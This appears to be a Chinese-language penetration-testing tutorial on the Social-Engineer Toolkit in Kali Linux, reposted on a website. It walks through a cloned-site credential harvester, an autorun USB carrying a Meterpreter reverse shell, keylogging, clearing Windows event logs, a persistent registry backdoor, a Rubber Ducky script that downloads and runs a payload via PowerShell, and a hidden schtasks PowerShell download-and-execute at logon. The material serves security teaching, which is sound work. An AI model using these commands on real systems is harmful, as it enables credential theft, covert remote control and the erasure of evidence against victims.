社会工程学工具
文章目录
- 前言
- 一、社会工程学的概念
- 二、Kali Linux 2 中的社会工程学工具包(SET)
- 1.社会工程学(SET)启动的二种方法:
- (1)菜单:
- (2)命令行:
- 2.社会工程学(SET)的主菜单:
- 3.“社会工程学工具”菜单:
- 三、用户名和密码的窃取
- 1.选择:Social-Engineering Attacks(社会工程学攻击)-- Website Attack Vectors(网站攻击向量)--Credential Harvester Attack Method(信用盗取攻击方法)
- 2.选择创建伪造网站的方式
- 3.输入用来接收窃取到的用户名和密码的IP地址
- 4.输入一个用来克隆的网址
- 5.在靶机(32为Windows7)中访问这个伪造的网站
- (1)输入Kali 的IP
- (2)填写用户名和密码
- (3)查看浏览器是否跳转?
- 6.返回Kali虚拟机,看到哪些信息?
- 四、自动播放文件攻击
- 1、 选择:Social-Engineering Attacks(社会工程学攻击)-- Infectious Media Generator(感染式媒介生成器) 首先选择Social-Engineering Attacks
- 2、选择攻击模块
- 3、这里我们选择一个要使用的攻击载荷,然后设置攻击载荷的IP地址和端口 选择Windows Reverse_TCP Meterpreter攻击载荷,然后设置攻击载荷的IP地址和端口
- 4、系统会根据你的输入生成U盘自动运行程序。这需要一段时间,等一会儿会生成两个文件即payload.exe和autorun.inf文件
- 5、随后SET会询问是否创建一个监听器
- 6、将/root/.set/autorun/目录下的两个文件复制到外部,在tmp下创建一个test目录 首先切换到tmp目录下,在tmp目录下创建一个test目录,随后将/root/.set/autorun/目录下的两个文件复制到外部
- 7、将上面的文件复制到U盘上,然后将U盘插入另一台计算机 将文件复制到U盘上
- 8、当计算机执行了Autorun.inf,就会加载payload.exe. 运行payload.exe文件
- 9、收集目标系统数据
- 10、清除踪迹
- 11、创建持久后门
- 五、快捷HID攻击工具USB橡皮鸭
- Duckyscript的常用命令
- Duckyscript的常用按键的编码
- 六、通过计划任务实现持续攻击
- 总结
前言
大多数人心目中的黑客往往是这样一种形象,他们不修边幅,挥金如土,工作的时候只需要一台联网的计算机。如果愿意,他们只要坐在家里就可以攻击别人的网络。所以每次我向客户提出要他们建立并严格执行完善的网络安全管理制度时,他们总是很惊讶地问:“这有什么用,难道这能拦得住你们?”虽然这个问题很常见,但是我可以很负责任地告诉大家,确实“拦得住”。
绝大多数的黑客入侵并不是单纯依靠技术手段实现的。在现实中,往往是用户的一点疏忽导致了网络中的所有防御手段形同虚设。因此,人是网络安全中一个远比设备和程序更重要的因素。在网络安全中,社会工程学所攻击的目标就是人。本章将围绕以下主题展开对社会工程学的概念和一些常见手段的讲解。
一、社会工程学的概念
按照百度上的说法:社会工程学(Social Engineering,又被翻译为:社交工程学)在上世纪60年代左右作为正式的学科出现,广义社会工程学的定义是:建立理论并通过利用自然的、社会的和制度上的途径来逐步地解决各种复杂的社会问题,经过多年的应用发展,社会工程学逐渐产生出了分支学科,如公安社会工程学(简称公安社工学)和网络社会工程学。
社会工程学是一个通过研究受害者心理,并以此诱使受害者做出配合,从而达到自身目的的学科。我一直觉得社会工程学和中国古代的“千术”十分类似,二者都是“欺骗的艺术。”黑客米特尼克(Mitnick)在他的作品《反欺骗的艺术》中第一次提到社会工程学,他认为长期以来在网络安全领域中,社会工程学指的就是利用受害者的心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱的手段,一些犯罪分子通过欺骗等手段来谋取利益。近年来,利用社会工程学谋取利益的人越来越多,这给网络安全带来了极大的隐患。
二、Kali Linux 2 中的社会工程学工具包(SET)
在Kali Linux 2 中包含一个非常流行的工具包——社会工程学工具包(Social Engineer Toolkit,SET).利用这个工具包,再加上使用者的“演技”,非常会让受害者在不知不觉中就掉入陷阱。限于当地法律和法规的限制,这里我们探讨的范围仅限于SET的使用方法。
SET由黑客David Kennedy(ReL1k)编写。需要注意的是,这并不只是一个单独的工具,而是常用的社会工程学工具的集合,其中包含许多渗透测试工具。
1.社会工程学(SET)启动的二种方法:
(1)菜单:
在菜单栏中启动SET

(2)命令行:
在命令行中启动SET

执行setoolkit命令运行终端后,将输出如下所示的信息:
[-] New set_config.py file generated on: 2014-05-06 18:05:41.766123
[-] Verifying configuration update…
[*] Update verified, config timestamp is: 2014-05-06 18:05:41.766123
[*] SET is using the new config, no need to restart
Copyright 2013, The Social-Engineer Toolkit (SET) by TrustedSec, LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimerin the documentation and/or other materials provided with the distribution.* Neither the name of Social-Engineer Toolkit nor the names of its contributors may be used to endorse or promote products derived fromthis software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The above licensing was taken from the BSD licensing and is applied to Social-Engineer Toolkit as well.
Note that the Social-Engineer Toolkit is provided as is, and is a royalty free open-source application.
Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit
is due (which means giving the authors the credit they deserve for writing it). Also note that by using this software, if you ever
see the creator of SET in a bar, you should give him a hug and buy him a beer. Hug must last at least 5 seconds. Author
holds the right to refuse the hug or the beer.
The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are
not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting
yes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only.
Do you agree to the terms of service [y/n]:
启动SET之后的界面

2.社会工程学(SET)的主菜单:
SET是一个菜单驱动的工具包,我们只需要选择对应的序号就可以使用指定的测试方法。分别是:
(1)Social-Engineering Attacks(社会工程学攻击)
(2)Penetration Testing (Fast-Track)(渗透测试)
(3)Third Party Modules(第三方模块)
(4)Update the Social-Engineer Toolkit(升级软件)
(5)Update SET configuration(升级SET配置)
(6)Help, Credits, and About(帮助)
(99)Exit the Social-Engineer Toolkit(退出)

3.“社会工程学工具”菜单:
我们按照这个系统提供的菜单来熟悉SET提供的功能。我们查看第一个选项——Social-Engineering Attacks中包含的11个功能,分别是:
(1)Spear-Phishing Attack Vectors(鱼叉式钓鱼攻击向量)
(2)Website Attack Vectors(网站攻击向量)
(3)Infectious Media Generator(媒介感染攻击)
(4)Create a Payload and Listener (创建Payload和Listener)
(5)Mass Mailer Attack(海量邮件攻击)
(6)Arduino-Based Attack Vector (基于Arduino的攻击向量)
(7)Wireless Access Point Attack Vector(无线热点攻击向量)
(8)QRCode Generator Attack Vectors(二维码攻击向量)
(9)Powershell Attack Vector(powershell 攻击向量)
(10)Third Party Modules(第三方模块)
(99)Return back to the main menu(返回主菜单)

三、用户名和密码的窃取
接下来我们要测试目标单位的用户是否会严格遵守管理协议,他们是否对来历不明的地址做了充分防御。
菜单: Social-Engineering Attacks / Website Attack Vectors/Credential Harvester Attack Method。
实验环境:填写如下IP地址
Kali 2主机IP:192.168.137.167

靶机(32位Windows7)的IP:192.168.137.10

1.选择:Social-Engineering Attacks(社会工程学攻击)-- Website Attack Vectors(网站攻击向量)–Credential Harvester Attack Method(信用盗取攻击方法)



2.选择创建伪造网站的方式
常见3种方式:
Web Templates(网站模块)
Site Cloner(网站克隆)---- 选择这种方式!
Custom Import(自定义导入)

这里我们选择第二种方式

3.输入用来接收窃取到的用户名和密码的IP地址
这里是(Kali)本机

4.输入一个用来克隆的网址
(IBM的测试网站:www.testfire.net/bank/login.aspx)

结果:成功启动了伪造好的网站服务器

5.在靶机(32为Windows7)中访问这个伪造的网站
(1)输入Kali 的IP

(2)填写用户名和密码
(填写用户名和密码之后,单击“Login”提交)
注意,这个网站和真实网站的登录界面是一模一样的。用户填写用户名(Username)和密码(Password)之后单击“Login”按钮,可提交信息。

(3)查看浏览器是否跳转?
浏览器跳转到真实的网站

6.返回Kali虚拟机,看到哪些信息?
返回Kali虚拟机中,成功窃取用户名和密码

四、自动播放文件攻击
我们经常会遇见这样一种令人十分烦恼的木马文件,如果只要U盘插到计算机上,就会立刻执行病毒。SET中也提供了这种攻击方式。
菜单: Social-Engineering Attacks / Infectious Media Generator
实验环境:填写如下IP地址
Kali 2 主机 IP:192.168.137.167

靶机32为windows7的IP:192.168.137.10

1、 选择:Social-Engineering Attacks(社会工程学攻击)-- Infectious Media Generator(感染式媒介生成器) 首先选择Social-Engineering Attacks

然后选择Infectious Media

2、选择攻击模块
第一种是基于文件格式的渗透模块
第二种是Metasploit的执行模块
这里我们选择第二种,即Metasploit的执行模块

选择要执行的功能

3、这里我们选择一个要使用的攻击载荷,然后设置攻击载荷的IP地址和端口 选择Windows Reverse_TCP Meterpreter攻击载荷,然后设置攻击载荷的IP地址和端口

4、系统会根据你的输入生成U盘自动运行程序。这需要一段时间,等一会儿会生成两个文件即payload.exe和autorun.inf文件

5、随后SET会询问是否创建一个监听器
是否创建一个监听器

创建一个监听器后,会自动创建一个handler

6、将/root/.set/autorun/目录下的两个文件复制到外部,在tmp下创建一个test目录 首先切换到tmp目录下,在tmp目录下创建一个test目录,随后将/root/.set/autorun/目录下的两个文件复制到外部

7、将上面的文件复制到U盘上,然后将U盘插入另一台计算机 将文件复制到U盘上

随后将攻击U盘插入Windows7 32位计算机上

8、当计算机执行了Autorun.inf,就会加载payload.exe. 运行payload.exe文件

返回Kali Linux 2 虚拟机中,发现成功打开会话

9、收集目标系统数据
当成功建立会话后,攻击者可以从目标系统中收集其数据。收集目标系统的数据,使用户尽可能使用这些信息做进一步渗透攻击。下面将介绍收集目标系统的数据。收集目标系统数据的具体操作步骤如下所示。
1.激活Meterpreter会话。执行命令如下所示:
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…
2.开启键盘记录器。执行命令如下所示:
meterpreter > keyscan_start
Starting the keystroke sniffer…
3.收集目标系统中的数据。执行命令如下所示:
meterpreter > keyscan_dump
Dumping captured keystrokes…
<Return> <Return> <Return> <N1> <Return> 2 <Return> 34
从输出的信息可以看到,目标系统执行过回车键、输入了数字1、2和34等。
10、清除踪迹
当攻击者入侵目标系统后,做的任何操作都可能会被记录到目标系统的日志文件中。为了不被目标系统所发现,清除踪迹是非常重要的工作。因为如果被发现,可能带来很大的麻烦。现在用户不用担心这个问题了,因为Metasploit提供了一种方法可以很容易的来清除所有踪迹。下面将介绍使用Metasploit清除踪迹的方法。使用Metasploit清除踪迹的具体操作步骤如下所示。
1.激活Meterpreter会话。执行命令如下所示:
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…
2.在Metasploit中的irb命令可以清除踪迹。执行命令如下所示:
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>>
输出的信息中看到>>提示符,表示成功运行了irb命令。
3.设置想要删除的日志。常用的日志选项如下所示:
log = client.sys.eventlog.open('system');
log = client.sys.eventlog.open('security');
log = client.sys.eventlog.open('application');
log = client.sys.eventlog.open('directory service');
log = client.sys.eventlog.open('dns server');
log = client.sys.eventlog.open('file replication service')
这里清除所有日志。执行命令如下所示:
>> log = client.sys.eventlog.open('system')
>> log = client.sys.eventlog.open('security')
>> log = client.sys.eventlog.open('application')
>> log = client.sys.eventlog.open('directory service')
>> log = client.sys.eventlog.open('dns server')
>> log = client.sys.eventlog.open('file replication service')
执行以上命令后,表示指定了要清除的日志。接下来需要执行log.clear命令才可以清除日志文件。执行命令如下所示:
>> log.clear
11、创建持久后门
当成功获取目标系统的访问权限后,需要寻找方法来恢复与目标主机的连接,而无需再进入目标系统。如果目标用户破坏了该连接,例如重新启动计算机,此时使用后门将允许自动重新与目标系统建立连接。为了后续渗透方便,所以需要创建一个后门。这样,即使连接被中断,也不会影响工作。下面将介绍创建持久后门。创建持久后门的具体操作步骤如下所示。
1.激活Meterpreter会话。执行命令如下所示:
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…
meterpreter >
2.创建持久后门之前,先查看下它的帮助文件。执行命令如下所示

以上信息显示了持久后门的一些选项。使用不同的选项,来设置后门。
3.创建一个持久后门。执行命令如下所示:
meterpreter > run persistence -U -A -i 10 - 8090 -r 192.168.41.234
[*] Running Persistance Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/
AA-886OKJM26FSW_20140507.2857/AA-886OKJM26FSW_20140507.2857.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.41.234 LPORT=4444
[*] Persistent agent script is 148405 bytes long
[+] Persistent Script written to C:\DOCUME~1\Test\LOCALS~1\Temp\IzXBdJvcpnD.vbs
[*] Starting connection handler at port 4444 for windows/meterpreter/reverse_tcp
[+] Multi/Handler started!
[*] Executing script C:\DOCUME~1\Test\LOCALS~1\Temp\IzXBdJvcpnD.vbs
[+] Agent executed with PID 1612
[*] Installing into autorun as HKCU\Software\Microsoft\Windows\
CurrentVersion\Run\mERugsIe
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\
CurrentVersion\Run\mERugsIe
输出的信息显示了创建后门的一个过程。在以上信息中可以看到,在目标系统中创建了一个持久脚本,保存在C:\DOCUME1\Test\LOCALS1\Temp\IzXBdJvcpnD.vbs。并且,该脚本会自动在目标主机上运行,此时将会建立第二个Meterpreter会话。如下所示:
meterpreter > [*] Meterpreter session 2 opened (192.168.41.234:443 -> 192.168.41.146:1032) at 2014-05-07 16:25:47 +0800
看到以上的输出信息,表示该持久后门已经创建成功。
五、快捷HID攻击工具USB橡皮鸭
虽然Arduino Leonardo 并不太复杂,但是因为很多人没有接触过它,所以很快有人发明了更快捷的硬件——USB橡皮鸭(USB RUBBER DUCKY)。自2010年以来,USB橡皮鸭就一直深受黑客、渗透测试人员以及IT专家的喜爱。

简单来说,USB橡皮鸭就是一个以及帮你伪装好了的可编程USB设备,你可以自行编写一些代码,而当你插入USB橡皮鸭时,系统会把它当作一个键盘。USB橡皮鸭后面有一个Micro SD卡的插槽,你只需要将代码写入Micro SD卡,然后插入插槽,一切就大功告成了。
USB橡皮鸭的价格提高,不过目前国内的一些市场上已经有了功能类似的产品,价格大概几十元。
USB橡皮鸭中的脚本不同于我们以前所编写的脚本,它是使用一种名为Duckyscript
的语言所编写的。如下面给出了一个启动命令窗口的程序:
GUI r
STRING cmd
ENTER
Duckyscript的常用命令
| 命令 | 功能 |
|---|---|
| STRING | 输入字母、数字或符号 |
| DELAY | 延时、单位为毫秒 |
| REM | 脚本注释语句 |
| 示例 | 解释 |
|---|---|
| STRING ABC | 输入大写的ABC |
| DELAY 1000 | 延时1秒 |
| REM 这是一条注释语句 | 改行语句不会执行 |
Duckyscript的常用按键的编码
| 常用按键 | 编码 |
|---|---|
| Enter键 | Enter |
| Win键 | GUI |
| Shift键 | Shift |
| Alt键 | Alt |
| 右侧Alt键 | ALT_RIGHT |
| Ctrl键 | CTRL |
| Delete键 | DELETE |
| 菜单键 | MENU |
| Esc键 | ESC |
| Insert键 | Insert |
| 空格键 | SPACE |
| Tab键 | TAB |
| Backspace键 | BACKSPACE |
| Prt Sc键 | PRTSC |
| Backspace键 | BACKSPACE |
| Caps Lock键 | CAPSLOCK |
| 数字锁定键 | NUMLOCK |
| 上翻页键 | PAGEUP |
下面是一段可以从http://192.168.1.101自动下载并执行攻击载荷的脚本。
DELAY 3000
GUI r
DELAY 500
STRING cmd
ENTER
ENTER
DELAY 800
STRING testl
STRING powershell (new- object System.Net.WebClient).DownloadFile(http://192.168.1.101/payload.exe','C:\\1.exe)
ENTER
DELAY 3000
STRING C:\\1.exe
ENTER
我在这次实验中使用了一个基于Arduino Leonardo的BadUSB产品,它本身无须进行烧录操作,因此可以将这段脚本保存到Micro SD卡中。该电子板一共可以存储16个脚本,默认会执行0000.txt,将上面的脚本存储到0000.txt中,然后将Micro SD卡插入一台计算机中就会自动执行里面的脚本了。
六、通过计划任务实现持续攻击
有时虽然对目标的渗透攻击成功了,但是当目标设备关机之后再次启动时,远程控制就会中断。目前渗透测试者研究了很多种方案来尝试保持这种控制,以此来达到对目标的持久性控制。常见的方法有以下几种。
Windows操作系统提供了一个实用工具schtasks.exe,我们可以使用该工具完成在指定日期和时间执行程序或脚本的工作。但是目前这个工具经常被黑客或者渗透测试者利用,从而实现持续性攻击。普通情况下,通过计划任务实现持续性攻击不需要用到管理员的权限,但是如果你希望能实现更加灵活的操作,例如指定在用户登录或者系统空间时执行某个任务,还是会用到管理员的权限。
通过计划任务完成得持续攻击既可以手动实现,也可以自动实现。下图给出了一个常用得schtasks命令得执行范例。

schtasks可以用来实现定期运行或在指定时间内运行某个命令或程序。例如使用下面的命令就可以指定在每次系统登录时,操作系统会自动在http://192.168.132.11:8080/ZPWLywg网址下载并执行一个基于PowerShell得payload。
schtasks /create /tn ThisTest /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX((new-object net.webclient).downloadstring(' 'http://192.168.132.11:8080/ZPWLywq' ' ' ))' " / sc onlogon /ru System
也有渗透测试者发现可以利用事件日志(event logging)得方式来启动某一个程序,例如我们可以首先使用wevtutil命令来查看ID位4647得任务。查看任务命令位如下所示:
wevtutil qe security /rd:true /f:text /q:"Event[System[(EventID=4647)]]""
命令运行得结果如下图所示:

我们可以创建一个关联ID为4667事件的计划任务,该任务将在系统上发生该事件时执行指定程序,相关命令如下所示:
schtasks /Create /TN OnLogOff /TR C:\tmp\pentestlab.exe /SC ONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=4647)]]"
该命令执行的结果如下图所示:

我们可以在控制面板的任务计划程序中看到这个计划,执行结果如下图所示:

另外还有很多工具(例如SharPersist、Empire和PowerSploit)也都可以通过计划任务实现持续性攻击。例如下面给出了一个使用SharPersist来创建计划任务的命令,创建好的任务将会在系统登录时执行。
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\test.exe" -n "test" -m add -o logon
总结
本章介绍了一个全新的攻击方式:社会工程学。鉴于单纯针对目标漏洞展开攻击的方式成功率已经越来越低,越来越多的黑客在攻击中采用了各种各样的社会工程学方式。作为一个渗透测试人员,社会工程学是一项必不可少的技能。
本章首先介绍了Kali Linux 2 中社会工程学工具包的基本使用方法,它提供了大量成熟的社会工程学攻击方式:然后我们就其中最为经典的几种攻击方式进行了介绍。最后还介绍了一些硬件渗透测试技术。
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
